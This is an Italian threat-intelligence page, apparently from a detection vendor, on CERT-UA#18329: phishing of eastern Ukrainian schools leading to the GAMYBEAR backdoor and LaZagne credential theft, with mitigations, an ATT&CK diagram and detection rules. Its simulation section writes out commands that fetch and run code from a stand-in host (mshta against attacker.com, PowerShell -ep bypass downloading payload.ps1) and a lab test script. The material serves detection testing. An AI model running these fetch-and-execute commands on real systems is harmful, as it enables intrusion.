Attacco informatico mirato a una scuola dell’Ucraina orientale utilizzando lo strumento GAMYBEAR (CERT-UA#18329)
Detection stack
- AIDR
- Alert
- ETL
- Query
Riepilogo
Una campagna di furto di credenziali ha colpito scuole e agenzie pubbliche nella regione di Sumy tramite un’email di phishing contenente un allegato ZIP. L’apertura dell’archivio ha attivato un file HTA tramite l’uso di mshta utility, che ha successivamente scaricato script PowerShell per distribuire il backdoor GAMYBEAR e il dumper di credenziali LaZagne, stabilire un C2 basato su HTTP ed esfiltrare file da directory mirate.
Analisi dell’attacco
CERT-UA ha collegato l’inizio della violazione a un messaggio di phishing inviato il 26 maggio 2025 da un account Gmail compromesso, fornendo i dettagli della campagna nell’allerta CERT-UA#18329. L’analisi forense ha rivelato una catena di infezione a più stadi: ZIP → HTA → update.js → PowerShell → GAMYBEAR accompagnato dal malware LaZagne, con persistenza mantenuta tramite una voce di registro Run e download ricorrenti da URL dannosi.
Mitigazione
Implementare l’autenticazione multi-fattore per tutti gli account email, bloccare l’esecuzione di file HTA e script PowerShell non attendibili, bloccare la chiave di registro Run e implementare una whitelist delle applicazioni. Aggiornare continuamente le regole di rilevamento degli endpoint per riconoscere i nomi di file, hashes e indicatori di rete di riferimento.
Risposta
Isolare prontamente gli endpoint interessati, reimpostare le credenziali Gmail compromesse, raccogliere tutti gli IOC identificati ed eseguire scansioni complete per GAMYBEAR, LaZagne e artefatti associati. Informare CERT-UA dell’incidente e distribuire gli IOC attraverso i canali rilevanti per la condivisione delle informazioni sulle minacce.
graph TB %% Definizioni delle classi classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff %% Nodi action_phishing[u0022u003cbu003eAzioneu003c/bu003e – u003cbu003eT1566.001 Phishing: Allegato di spearphishingu003c/bu003eu003cbr/u003eCompromesso un account Gmail universitario e inviate email di spearphishing con un allegato ZIP denominato “Накaз № 332”.u0022] nclass action_phishing action tool_mshta[u0022u003cbu003eStrumentou003c/bu003e – u003cbu003eNomeu003c/bu003e: mshta.exeu003cbr/u003eu003cbu003eTecnicau003c/bu003e: T1218.005 Esecuzione proxy di binari di sistemau0022] nclass tool_mshta tool malware_hta[u0022u003cbu003eMalwareu003c/bu003e – u003cbu003eNomeu003c/bu003e: zvit.hta (Applicazione HTML)u003cbr/u003eEseguito tramite il collegamento fornito nello ZIP.u0022] nclass malware_hta malware action_powershell[u0022u003cbu003eAzioneu003c/bu003e – u003cbu003eT1059.001 Interprete di comandi e scripting: PowerShellu003c/bu003eu003cbr/u003eL’HTA ha avviato update.js che ha eseguito updater.ps1. PowerShell ha scaricato binari aggiuntivi (be53ff4f4b5daa.exe, svshosts.exe) da server HTTP remoti.u0022] nclass action_powershell action tool_ps2exe[u0022u003cbu003eStrumentou003c/bu003e – u003cbu003eNomeu003c/bu003e: PS2EXEu003cbr/u003eu003cbu003eTecnicau003c/bu003e: T1027.004 Compilazione dopo la consegna (offuscamento)u0022] nclass tool_ps2exe tool action_uac_bypass[u0022u003cbu003eAzioneu003c/bu003e – u003cbu003eT1548.002 Abuso dei meccanismi di controllo dell’elevazione: Bypass UACu003c/bu003eu003cbr/u003eCreata la chiave HKCU\\Software\\Classes\\ms-settings\\Shell\\Open\\command con il valore DelegateExecute per bypassare il Controllo dell’Account Utente.u0022] nclass action_uac_bypass action action_persistence[u0022u003cbu003eAzioneu003c/bu003e – u003cbu003eT1547.014 Esecuzione automatica all’avvio o al logon: Active Setupu003c/bu003eu003cbr/u003eAggiunte voci HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run (IEUpdater, ServiceUpdateService) per avviare i binari al logon.u0022] nclass action_persistence action tool_registry[u0022u003cbu003eStrumentou003c/bu003e – u003cbu003eNomeu003c/bu003e: Modifica del Registrou003cbr/u003eu003cbu003eTecnicau003c/bu003e: Persistenza tramite chiavi Runu0022] nclass tool_registry tool action_credential_dump[u0022u003cbu003eAzioneu003c/bu003e – u003cbu003eT1003 Dump delle credenziali del sistema operativou003c/bu003eu003cbr/u003eEseguito LaZagne (be53ff4f4b5daa.exe) per estrarre password memorizzate e altre credenziali.u0022] nclass action_credential_dump action tool_lazagne[u0022u003cbu003eStrumentou003c/bu003e – u003cbu003eNomeu003c/bu003e: LaZagneu003cbr/u003eu003cbu003eScopou003c/bu003e: Recuperare credenziali salvate da browser, client di posta e altre applicazioniu0022] nclass tool_lazagne tool action_data_encoding[u0022u003cbu003eAzioneu003c/bu003e – u003cbu003eT1132 Codifica dei datiu003c/bu003eu003cbr/u003eLe comunicazioni tra i componenti della backdoor GAMYBEAR (svshosts.exe, ieupdater.exe) e il C2 sono state inviate via HTTP con payload codificati in Base64.u0022] nclass action_data_encoding action malware_gamybear[u0022u003cbu003eMalwareu003c/bu003e – u003cbu003eNomeu003c/bu003e: backdoor GAMYBEARu003cbr/u003eI componenti includono svshosts.exe e ieupdater.exe.u0022] nclass malware_gamybear malware %% Connessioni action_phishing u002du002du003e|consegna| tool_mshta tool_mshta u002du002du003e|esegue| malware_hta malware_hta u002du002du003e|avvia| action_powershell action_powershell u002du002du003e|usa| tool_ps2exe action_powershell u002du002du003e|scarica| malware_gamybear action_powershell u002du002du003e|crea| action_uac_bypass action_uac_bypass u002du002du003e|modifica| tool_registry action_persistence u002du002du003e|si basa su| tool_registry action_persistence u002du002du003e|avvia| malware_gamybear action_credential_dump u002du002du003e|usa| tool_lazagne tool_lazagne u002du002du003e|raccoglie| action_data_encoding malware_gamybear u002du002du003e|comunica tramite| action_data_encoding %% Fine del diagramma
Flusso di attacco
Rilevamenti
Rilevamento della comunicazione C2 di GAMYBEAR [Connessione di rete Windows]
Visualizza
Rilevamento dell’esecuzione del backdoor GAMYBEAR [Evento file di Windows]
Visualizza
Rilevamento dell’esecuzione di mshta.exe e PowerShell con bypass [Creazione processo Windows]
Visualizza
IOC (HashSha1) da rilevare: Cyberattacco contro un istituto educativo nell’Ucraina orientale utilizzando lo strumento GAMYBEAR (CERT-UA#18329)
Visualizza
IOC (DestinationIP) da rilevare: Cyberattacco contro un istituto educativo nell’Ucraina orientale utilizzando lo strumento GAMYBEAR (CERT-UA#18329)
Visualizza
Simulazioni
Esecuzione della simulazione
Prerequisito: Il controllo preliminare di Telemetria e Base deve essere passato.
Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrativa DEVONO riflettere direttamente le TTP identificate e mirare a generare la telemetria esatta prevista dalla logica di rilevamento.
-
Narrativa & Comandi dell’attacco:
-
Fase 1 – Distribuire HTA dannoso: L’aggressore ospita
evil.htasu un server web compromesso. -
Fase 2 – Eseguire tramite
mshta.exe: Utilizzando un prompt dei comandi di Windows, l’aggressore eseguemshta.exe http://attacker.com/evil.hta. Questo crea un evento di creazione di processo conmshta.exenella riga di comando, soddisfacendo la prima clausola della regola. -
Fase 3 – Bypass di PowerShell: Per eseguire un payload che aggira il criterio di esecuzione del sistema, l’aggressore avvia PowerShell con il flag
-ep bypass:PowerShell -ep bypass -Command "Invoke-WebRequest http://attacker.com/payload.ps1 -OutFile $env:TEMPp.ps1; & $env:TEMPp.ps1"Questo genera un secondo evento di creazione di processo contenente la stringa esatta
PowerShell -ep bypass, soddisfacendo la seconda clausola.
-
-
Script per il test di regressione: Il seguente script PowerShell riproduce i passaggi sopra in modo automatizzato e ripetibile.
# ------------------------------------------------- # Regression Test – Trigger Sigma Rule for mshta & PowerShell -ep bypass # ------------------------------------------------- # Variables – adjust to your lab environment $htaUrl = "http://127.0.0.1/evil.hta" # Must point to a reachable HTA file $psUrl = "http://127.0.0.1/payload.ps1" # Simple PS payload (e.g., `Write-Host "pwned"`) # 1. Invoke mshta.exe Write-Host "[*] Launching mshta.exe against $htaUrl" Start-Process -FilePath "mshta.exe" -ArgumentList $htaUrl -NoNewWindow # Short pause to ensure the process logs Start-Sleep -Seconds 2 # 2. Invoke PowerShell with execution‑policy bypass $psCmd = "Invoke-WebRequest $psUrl -UseBasicParsing -OutFile $env:TEMPp.ps1; & $env:TEMPp.ps1" Write-Host "[*] Launching PowerShell -ep bypass" Start-Process -FilePath "powershell.exe" -ArgumentList "-ep bypass -Command `"$psCmd`"" -NoNewWindow # Pause to allow logging Start-Sleep -Seconds 5 Write-Host "[+] Test complete. Check your SIEM for alerts." -
Comandi per la pulizia: Rimuovere i file temporanei e terminare eventuali processi di test residui.
# Cleanup temporary payload Remove-Item -Path "$env:TEMPp.ps1" -ErrorAction SilentlyContinue # Optionally kill lingering mshta or PowerShell instances spawned by the test Get-Process -Name mshta, powershell -ErrorAction SilentlyContinue | Where-Object { $_.Id -ne $PID } | Stop-Process -Force